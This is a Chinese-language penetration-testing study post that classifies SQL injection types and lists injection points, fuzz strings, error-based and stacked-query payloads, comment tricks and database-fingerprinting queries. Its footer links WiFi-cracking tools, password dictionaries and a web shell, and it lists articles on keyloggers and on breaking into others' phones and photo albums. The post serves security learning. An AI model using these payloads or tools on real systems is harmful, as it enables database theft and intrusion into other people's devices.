渗透测试自学系列—SQL注入分类 以及 常用注入点
Posted LexSaints
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了渗透测试自学系列—SQL注入分类 以及 常用注入点相关的知识,希望对你有一定的参考价值。
目录
4.1.1. 注入分类
4.1.1.1. 简介
SQL注入是一种代码注入技术,用于攻击数据驱动的应用程序。 在应用程序中,如果没有做恰当的过滤,则可能使得恶意的SQL语句被插入输入字段中执行(例如将数据库内容转储给攻击者)。
4.1.1.2. 按技巧分类
根据使用的技巧,SQL注入类型可分为
-
盲注
- 布尔盲注:只能从应用返回中推断语句执行后的布尔值
- 时间盲注:应用没有明确的回显,只能使用特定的时间函数来判断
- 报错注入:应用会显示全部或者部分的报错信息
- 堆叠注入:有的应用可以加入
;
后一次执行多条语句 - 其他
4.1.1.3. 按获取数据的方式分类
另外也可以根据获取数据的方式分为3类
4.1.1.3.1. inband
利用Web应用来直接获取数据,如报错注入,这类注入都是通过站点的响应或者错误反馈来提取数据。
4.1.1.3.2. inference
通过Web的一些反映来推断数据,如布尔盲注,也就是我们通俗的盲注, 通过web应用的其他改变来推断数据。
4.1.1.3.3. out of band (OOB)
通过其他传输方式来获得数据,比如DNS解析协议和电子邮件。
4.1.2. 注入检测
4.1.2.1. 常见的注入点
- GET/POST/PUT/DELETE参数
- X-Forwarded-For
- 文件名
4.1.2.2. Fuzz注入点
'
/"
1/1
1/0
and 1=1
" and "1"="1
and 1=2
or 1=1
or 1=
' and '1'='1
+
-
^
*
%
/
<<
>>
||
|
&
&&
~
!
@
- 反引号执行
4.1.2.3. 测试用常量
@@version
@@servername
@@language
@@spid
4.1.2.4. 测试列数
例如 http://www.foo.com/index.asp?id=12+union+select+null,null--
,不断增加 null
至不返回
4.1.2.5. 报错注入
select 1/0
select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a
extractvalue(1, concat(0x5c,(select user())))
updatexml(0x3a,concat(1,(select user())),1)
exp(~(SELECT * from(select user())a))
ST_LatFromGeoHash((select * from(select * from(select user())a)b))
GTID_SUBSET(version(), 1)
4.1.2.5.1. 基于geometric的报错注入
GeometryCollection((select * from (select * from(select user())a)b))
polygon((select * from(select * from(select user())a)b))
multipoint((select * from(select * from(select user())a)b))
multilinestring((select * from(select * from(select user())a)b))
LINESTRING((select * from(select * from(select user())a)b))
multipolygon((select * from(select * from(select user())a)b))
其中需要注意的是,基于exp函数的报错注入在mysql 5.5.49后的版本已经不再生效,具体可以参考这个 commit 95825f 。
而以上列表中基于geometric的报错注入在这个 commit 5caea4 中被修复,在5.5.x较后的版本中同样不再生效。
4.1.2.6. 堆叠注入
;select 1
4.1.2.7. 注释符
#
--+
/*xxx*/
/*!xxx*/
/*!50000xxx*/
4.1.2.8. 判断过滤规则
- 是否有trunc
- 是否过滤某个字符
- 是否过滤关键字
- slash和编码
4.1.2.9. 获取信息
-
判断数据库类型
and exists (select * from msysobjects ) > 0
access数据库and exists (select * from sysobjects ) > 0
SQLServer数据库
-
判断数据库表
and exsits (select * from admin)
- 版本、主机名、用户名、库名
-
表和字段
-
确定字段数
- Order By
- Select Into
- 表名、列名
-
4.1.2.10. 测试权限
-
文件操作
- 读敏感文件
- 写shell
-
带外通道
- 网络请求
【渗透测试相关工具下载】
brutecrack工具[WIFIPR中文版]及wpa/wpa2字典
brutecrack工具[WIFIPR中文版]及wpa/wpa2字典_wifipr-其它文档类资源-CSDN下载
Kali字典文件/纯数字/电话号码/弱/常用/Wifi等各种类型字典【解压后共计60G+字典文件】
Kali字典文件/纯数字/电话号码/弱/常用/Wifi等各种类型字典【解压后共计60G+字典文件】_kali字典下载-系统安全文档类资源-CSDN下载
【kali常用工具】brutecrack工具[WIFIPR中文版]及wpa/wpa2字典
brutecrack工具[WIFIPR中文版]及wpa/wpa2字典_wifipr-其它文档类资源-CSDN下载
【kali常用工具】EWSA 5.1.282-破包工具
【kali常用工具】EWSA5.1.282-破包工具_linux跑包工具-管理软件文档类资源-CSDN下载
【kali常用工具】Realtek 8812AU KALI网卡驱动及安装教程
【kali常用工具】Realtek8812AUKALI网卡驱动及安装教程_kalirtl8812au-网络设备文档类资源-CSDN下载
【kali常用工具】无线信号搜索工具_kali更新
【kali常用工具】无线信号搜索工具_kali更新_kali更新-互联网文档类资源-CSDN下载
【kali常用工具】inssider信号测试软件_kali常用工具
【kali常用工具】inssider信号测试软件_kali常用工具_搜索引擎语法lexsaints-网管软件文档类资源-CSDN下载
【kali常用工具】MAC地址修改工具 保护终端不暴露
【kali常用工具】MAC地址修改工具保护终端不暴露_mac修改工具下载-Linux文档类资源-CSDN下载
【kali常用工具】脚本管理工具 php和jsp页面 接收命令参数 在服务器端执行
脚本管理工具php和jsp页面接收命令参数在服务器端执行_搜索引擎语法lexsaints-网络安全文档类资源-CSDN下载
【kali常用工具】上网行为监控工具
上网行为工具_搜索引擎语法lexsaints-网络安全文档类资源-CSDN下载
【kali常用工具】抓包工具Charles Windows64位 免费版
抓包工具CharlesWindows64位免费版_charleswindows-网络监控文档类资源-CSDN下载
【kali常用工具】图印工具stamp.zip
图印工具stamp.zip_搜索引擎语法lexsaints-制造文档类资源-CSDN下载
推荐阅读
python及安全系列
【python实战】女友半夜加班发自拍 python男友用30行代码发现惊天秘密
【渗透测试】python你TM太皮了——区区30行代码就能记录键盘的一举一动
【渗透实战】女神相册密码忘记了,我只用Python写了20行代码~~~
【渗透测试】密码暴力破解工具——九头蛇(hydra)使用详解及实战
【渗透学习】Web安全渗透详细教程+学习线路+详细笔记【全网最全+建议收藏】
【渗透案例】如何用ssh工具连接前台小姐姐的“小米手机”——雷总看了直呼内行!!!
【渗透测试】密码暴力破解工具——九头蛇(hydra)使用详解及实战
pygame系列文章
一起来学pygame吧 游戏开发30例(三)——射击外星人小游戏
一起来学pygame吧 游戏开发30例(四)——俄罗斯方块小游戏
一起来学pygame吧 游戏开发30例(五)——消消乐 小游戏
一起来学pygame吧 游戏开发30例(六)——高山滑雪 小游戏
CSDN官方学习推荐 ↓ ↓ ↓
CSDN出的Python和Java的全栈知识图谱,太强了,推荐给大家!
更多渗透测试技术请关注 ↓ ↓ ↓
以上是关于渗透测试自学系列—SQL注入分类 以及 常用注入点的主要内容,如果未能解决你的问题,请参考以下文章